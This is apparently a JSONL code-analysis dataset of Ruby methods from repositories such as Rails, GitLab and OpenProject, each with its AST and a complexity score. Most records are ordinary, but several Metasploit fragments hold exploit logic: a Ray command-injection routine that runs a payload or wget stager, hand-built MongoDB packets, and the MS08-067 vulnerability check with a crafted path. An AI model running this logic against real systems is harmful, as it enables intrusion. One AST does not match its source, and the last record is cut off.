{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/app_base.rb","start_line":374,"raw_source":"def skip_action_cable? # :doc:\n        options[:skip_action_cable]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_action_cable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_action_cable\"]}]}]}","id":"fa02191a-5caa-4801-82e4-b7a7da2fe76f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/model_contract.rb","start_line":90,"raw_source":"def readonly_attributes_unchanged\n    unauthenticated_changed.each do |attribute|\n      outside_attribute = ancestor_attribute_aliases[attribute] || attribute\n\n      errors.add outside_attribute, :error_readonly\n    end\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"readonly_attributes_unchanged\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unauthenticated_changed\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"outside_attribute\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ancestor_attribute_aliases\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"outside_attribute\"]},{\"type\":\"sym\",\"children\":[\"error_readonly\"]}]}]}]}]}","id":"43a48a26-b725-4217-b139-6a11ac1a8a92"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/auth_saml/app/services/saml/providers/set_attributes_service.rb","start_line":50,"raw_source":"def update_options(options) # rubocop:disable Metrics/AbcSize\n        update_idp_cert(options.delete(:idp_cert)) if options.key?(:idp_cert)\n        update_certificate(options.delete(:certificate)) if options.key?(:certificate)\n        update_private_key(options.delete(:private_key)) if options.key?(:private_key)\n        update_mapping(options)\n\n        options\n          .select { |key, _| Saml::Provider.stored_attributes[:options].include?(key.to_s) }\n          .each do |key, value|\n          model.public_send(:\"#{key}=\", value)\n        end\n      end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"idp_cert\"]}]},{\"type\":\"send\",\"children\":[null,\"update_idp_cert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"idp_cert\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"certificate\"]}]},{\"type\":\"send\",\"children\":[null,\"update_certificate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"certificate\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"private_key\"]}]},{\"type\":\"send\",\"children\":[null,\"update_private_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"private_key\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"update_mapping\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Saml\"]},\"Provider\"]},\"stored_attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"options\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"public_send\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"69957945-4049-4e2c-a519-b2d19e991b2b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_contexts/ci/pipeline_analytics_shared_context.rb","start_line":28,"raw_source":"def create_pipeline(project, status, started_at, duration)\n    build_stubbed(:ci_pipeline, status,\n      project: project,\n      created_at: 1.second.before(started_at), started_at: started_at, finished_at: duration.after(started_at),\n      duration: duration)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_pipeline\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"started_at\"]},{\"type\":\"arg\",\"children\":[\"duration\"]}]},{\"type\":\"send\",\"children\":[null,\"build_stubbed\",{\"type\":\"sym\",\"children\":[\"ci_pipeline\"]},{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"second\"]},\"before\",{\"type\":\"lvar\",\"children\":[\"started_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"started_at\"]},{\"type\":\"lvar\",\"children\":[\"started_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finished_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration\"]},\"after\",{\"type\":\"lvar\",\"children\":[\"started_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration\"]},{\"type\":\"lvar\",\"children\":[\"duration\"]}]}]}]}]}","id":"ce3d6775-19d1-41eb-85e9-b55eda39bfec"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120529175956_create_uploads.rb","start_line":4,"raw_source":"def change\n    create_table :uploads do |t|\n      t.integer :user_id, null: false\n      t.integer :forum_thread_id, null: false\n      t.string :original_filename, null: false\n      t.integer :filesize, null: false\n      t.integer :width, null: true\n      t.integer :height, null: true\n      t.string :url, null: false\n      t.timestamps null: false\n    end\n\n    add_index :uploads, :forum_thread_id\n    add_index :uploads, :user_id\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"uploads\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"forum_thread_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"original_filename\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"filesize\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"uploads\"]},{\"type\":\"sym\",\"children\":[\"forum_thread_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"uploads\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}","id":"a7a3cccf-8768-40b3-939e-7f95e26e32b2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.rb","start_line":97,"raw_source":"def exploit\n    # We need to pass valid node info to /worker/cpu_profile for the server to process the request\n    # First we list all nodes and grab the pid and ip of the first one (could be any)\n    @nodes ||= get_nodes\n    fail_with(Failure::Unknown, 'Failed to get nodes') unless @nodes\n    first_node = @nodes['data']['summary'].first\n    fail_with(Failure::Unknown, 'Failed to get pid') unless first_node.key?('agent') && first_node['agent'].key?('pid')\n    pid = first_node['agent']['pid']\n    fail_with(Failure::Unknown, 'Failed to get ip') unless first_node.key?('ip')\n    ip = first_node['ip']\n    print_good(\"Grabbed node info, pid: #{pid}, ip: #{ip}\")\n    case target['Type']\n    when :nix_cmd\n      execute_command(payload.encoded, { pid: pid, ip: ip })\n    else\n      execute_cmdstager({ flavor: :wget, pid: pid, ip: ip })\n    end\n  end","complexity_score":34.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@nodes\"]},{\"type\":\"send\",\"children\":[null,\"get_nodes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nodes\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to get nodes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"first_node\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nodes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"summary\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_node\"]},\"key?\",{\"type\":\"str\",\"children\":[\"agent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"agent\"]}]},\"key?\",{\"type\":\"str\",\"children\":[\"pid\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to get pid\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"agent\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"pid\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_node\"]},\"key?\",{\"type\":\"str\",\"children\":[\"ip\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to get ip\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ip\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ip\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Grabbed node info, pid: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\", ip: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"nix_cmd\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pid\"]},{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flavor\"]},{\"type\":\"sym\",\"children\":[\"wget\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pid\"]},{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]}]}]}]}","id":"50bee22e-9ef6-4fe6-afa4-0f6858f5fc2d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/key_provider.rb","start_line":11,"raw_source":"def initialize(keys)\n        @keys = Array(keys)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keys\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@keys\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]}]}","id":"ef0b3eea-4498-4b37-b39e-de7248f71e7f"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/cookies.rb","start_line":280,"raw_source":"def to_s\n        to_hash.to_s\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_hash\"]},\"to_s\"]}]}","id":"0e3deafe-d2d3-4679-aec8-2cc8367276b4"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/tables/changesets_work_packages.rb","start_line":34,"raw_source":"def self.table(migration)\n    create_table migration, id: false do |t|\n      t.bigint :changeset_id, null: false\n      t.bigint :work_package_id, null: false\n\n      t.index %i[changeset_id work_package_id],\n              unique: true,\n              name: :changesets_work_packages_ids\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"changeset_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"work_package_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"changeset_id\"]},{\"type\":\"sym\",\"children\":[\"work_package_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"changesets_work_packages_ids\"]}]}]}]}]}]}]}","id":"a09ccfc4-4a56-414f-8aaf-3216c39fed9a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/blob_helper.rb","start_line":100,"raw_source":"def blob_icon(mode, name)\n    sprite_icon(file_type_icon_class('file', mode, name))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"blob_icon\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mode\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"sprite_icon\",{\"type\":\"send\",\"children\":[null,\"file_type_icon_class\",{\"type\":\"str\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"mode\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"dd151df3-7986-4742-9ca4-b84507f76193"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb","start_line":61,"raw_source":"def print_good(msg = '')\n    super(\"#{peer} - #{msg}\")\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"print_good\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"f1c80050-f4bf-49c6-8369-1fcea75dfa5e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/mongod_native_helper.rb","start_line":201,"raw_source":"def read_only?(collection)\n    request_id = Rex::Text.rand_text(4)\n    _id = \"\\x07_id\\x00\" + Rex::Text.rand_text(12) + \"\\x02\"\n    key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') + \"\\x00\"\n    value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') + \"\\x00\"\n\n    insert = _id + key + [value.length].pack(\"L\") + value + \"\\x00\"\n\n    packet = [insert.length + 24 + datastore['DB'].length + 6].pack(\"L\") # messageLength\n    packet << request_id           # requestID\n    packet << \"\\xff\\xff\\xff\\xff\"   # responseTo\n    packet << \"\\xd2\\x07\\x00\\x00\" # opCode (2002 Insert Document)\n    packet << \"\\x00\\x00\\x00\\x00\" # flags\n    packet << datastore['DB'] + \".\" + collection + \"\\x00\" # fullCollectionName (DB.collection)\n    packet << [insert.length + 4].pack(\"L\")\n    packet << insert\n\n    sock.put(packet)\n\n    request_id = Rex::Text.rand_text(4)\n\n    packet = [datastore['DB'].length + 61].pack(\"L\") # messageLength (66)\n    packet << request_id           # requestID\n    packet << \"\\xff\\xff\\xff\\xff\"   # responseTo\n    packet << \"\\xd4\\x07\\x00\\x00\" # opCode (2004 Query)\n    packet << \"\\x00\\x00\\x00\\x00\" # flags\n    packet << datastore['DB'] + \".$cmd\" + \"\\x00\" # fullCollectionName (DB.$cmd)\n    packet << \"\\x00\\x00\\x00\\x00\"   # numberToSkip (0)\n    packet << \"\\xff\\xff\\xff\\xff\"   # numberToReturn (1)\n    packet << \"\\x1b\\x00\\x00\\x00\"\n    packet << \"\\x01\\x67\\x65\\x74\\x6c\\x61\\x73\\x74\\x65\\x72\\x72\\x6f\\x72\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x3f\\x00\"\n\n    sock.put(packet)\n\n    response = sock.get_once\n    have_auth_error?(response)\n  end","complexity_score":92.05,"ast_json":"{\"type\":\"def\",\"children\":[\"read_only?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"collection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"packet\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"send\",\"children\":[null,\"have_auth_error?\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"2ba4c785-b22d-477c-a655-27eb58cc392b"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/helpers/spree/api/v2/collection_options_helpers.rb","start_line":25,"raw_source":"def collection_permitted_params\n          params.permit(:format, :page, :per_page, :sort, :include, :locale, fields: {}, filter: {})\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"collection_permitted_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"sym\",\"children\":[\"include\"]},{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fields\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"3393c97e-a76e-4106-b9e6-c157499f5334"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/osx/gather/hashdump.rb","start_line":236,"raw_source":"def ver_num\n    @ver_num ||= get_sysinfo['ProductVersion']\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ver_num\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ver_num\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ProductVersion\"]}]}]}]}","id":"a4ff9977-a3c8-4cd1-a922-517c53f82161"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/repositories/repo_type.rb","start_line":40,"raw_source":"def snippet?\n        name == :snippet\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"snippet?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"snippet\"]}]}]}","id":"68a2e4ad-ec83-406d-ad80-cb3ece5807ef"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smb/ms08_067_netapi.rb","start_line":1276,"raw_source":"def check\n    begin\n      connect(versions: [1])\n      smb_login\n    rescue Rex::ConnectionError => e\n      vprint_error(\"Connection failed: #{e.class}: #{e}\")\n      return Msf::Exploit::CheckCode::Unknown\n    rescue Rex::Proto::SMB::Exceptions::LoginError => e\n      if e.message =~ /Connection reset/\n        vprint_error('Connection reset during login')\n        vprint_error('This most likely means a previous exploit attempt caused the service to crash')\n        return Msf::Exploit::CheckCode::Unknown\n      else\n        raise e\n      end\n    end\n\n    #\n    # Build the malicious path name\n    # 5b878ae7 \"db @eax;g\"\n    prefix = '\\\\'\n    path =\n      \"\\x00\\\\\\x00/\" * 0x10 +\n      Rex::Text.to_unicode('\\\\') +\n      Rex::Text.to_unicode('R7') +\n      Rex::Text.to_unicode('\\\\..\\\\..\\\\') +\n      Rex::Text.to_unicode('R7') +\n      \"\\x00\" * 2\n\n    server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase\n\n    handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',\n                           'ncacn_np', [\"\\\\#{datastore['SMBPIPE']}\"])\n\n    begin\n      # Samba doesn't have this handle and returns an ErrorCode\n      dcerpc_bind(handle)\n    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e\n      vprint_error(\"SMB error: #{e.message}\")\n      return Msf::Exploit::CheckCode::Safe\n    end\n\n    vprint_status('Verifying vulnerable status... (path: 0x%08x)' % path.length)\n\n    stub =\n      NDR.uwstring(server) +\n      NDR.UnicodeConformantVaryingStringPreBuilt(path) +\n      NDR.long(8) +\n      NDR.wstring(prefix) +\n      NDR.long(4097) +\n      NDR.long(0)\n\n    resp = dcerpc.call(0x1f, stub)\n    error = resp[4, 4].unpack('V')[0]\n\n    # Cleanup\n    simple.client.close\n    simple.client.tree_disconnect\n    disconnect\n\n    if (error == 0x0052005c) # \\R :)\n      return Msf::Exploit::CheckCode::Vulnerable\n    else\n      vprint_error('System is not vulnerable (status: 0x%08x)' % error) if error\n      return Msf::Exploit::CheckCode::Safe\n    end\n  end","complexity_score":97.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"versions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"smb_login\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection failed: 